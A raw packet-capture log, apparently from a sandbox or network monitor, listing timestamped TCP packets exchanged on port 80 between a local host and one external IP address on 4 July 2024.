Jul 4, 2024 22:21:06.702955961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702965975 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702969074 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.702977896 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.702986956 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703007936 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703228951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703239918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703248978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703264952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703269958 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703305960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703448057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703459978 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703469992 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703480959 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703485012 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703493118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703504086 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703515053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703516960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703526974 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703531981 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703537941 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703552008 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703584909 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703829050 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703840017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703849077 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703860044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703870058 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703870058 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703881979 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703891039 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703892946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.703908920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.703943014 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.704121113 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.704130888 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.704142094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.704157114 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.704165936 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.704173088 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.704185963 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.704189062 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.704196930 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.704221010 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.704251051 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.737735987 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.737780094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.737790108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.737839937 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.737874031 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.737883091 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.737884045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.737895012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.737905979 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.737927914 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.737957001 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.738234043 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.738281012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.738289118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.738292933 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.738325119 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.738348961 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.738415003 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.738425970 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.738435030 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.738445044 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.738467932 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.738500118 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.771327019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.771339893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.771352053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.771404982 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.771959066 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.771971941 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.771984100 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772011042 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.772027016 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.772784948 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772798061 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772809982 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772834063 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.772856951 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.772874117 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772885084 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772896051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772910118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772914886 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.772922039 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.772929907 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.772944927 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.772962093 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.773109913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.773149014 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.791582108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791601896 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791611910 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791651964 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.791685104 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.791695118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791704893 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791713953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791723967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791733980 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.791759014 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.791853905 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791863918 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791903973 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.791913033 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791923046 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.791954041 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792042017 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792052984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792063951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792077065 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792084932 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792089939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792098999 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792125940 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792274952 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792284966 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792294979 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792305946 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792318106 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792321920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792330980 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792334080 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792361975 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792382956 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792799950 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792815924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792824984 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792835951 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792850971 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792851925 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792862892 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792874098 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792875051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792889118 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792890072 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792900085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.792916059 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.792942047 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793128967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793139935 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793149948 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793159962 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793170929 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793169975 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793181896 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793191910 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793193102 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793205023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793209076 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793217897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793229103 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793237925 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793261051 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793890953 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793908119 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793917894 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793927908 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793936968 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793939114 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793948889 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793950081 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793961048 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793971062 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793972969 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.793982029 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.793997049 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794003010 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794009924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794018030 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794022083 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794034004 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794044971 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794049025 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794061899 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794071913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794076920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794086933 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794087887 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794099092 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794109106 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794111967 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794121027 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794132948 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794136047 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794151068 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794167995 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794450998 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794461966 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794477940 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794488907 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794498920 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794502020 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794512987 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794513941 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794531107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794557095 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794576883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794589043 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794610977 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794625044 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794727087 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794738054 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794747114 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794758081 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794770002 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.794775963 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794790983 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.794817924 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.795008898 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795021057 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795030117 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795038939 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795052052 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795053005 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.795063019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795072079 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.795073032 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795084000 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795089960 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.795094967 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795104980 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.795105934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795120955 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795129061 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.795160055 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.795397043 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.795440912 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.827754021 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.827773094 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.827785015 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.827832937 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.827857971 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.827877045 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.827888012 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.827898026 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.827908993 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.827917099 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.827929974 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.827958107 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.827981949 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.828015089 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.828532934 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.828543901 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.828552961 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.828582048 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.828608036 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.828633070 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.828644991 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.828654051 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.828665018 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.828675032 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.828697920 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862253904 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862293005 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862303019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862318039 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862344980 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862344980 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862413883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862423897 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862435102 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862443924 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862454891 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862457037 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862494946 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862586975 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862597942 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862607002 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862626076 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862641096 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862725019 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862740993 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862750053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862757921 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.862771988 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.862801075 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.881993055 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882004023 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882014036 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882061958 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882078886 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882090092 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882098913 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882101059 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882116079 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882121086 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882145882 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882241964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882252932 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882262945 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882287979 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882303953 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882400036 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882416964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882426977 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882437944 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882441998 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882448912 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882455111 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882460117 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882471085 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882481098 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882482052 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882493973 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882502079 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882515907 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882543087 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882716894 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882729053 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882764101 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882802963 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882812977 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882827997 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882838964 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882847071 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882863045 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882888079 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.882968903 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882980108 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882989883 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.882998943 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883014917 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883037090 CEST	49719	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:06.883136034 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883147955 CEST	80	49719	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:06.883157015 CEST	80	49719	77.91.77.81	192.168.2.5
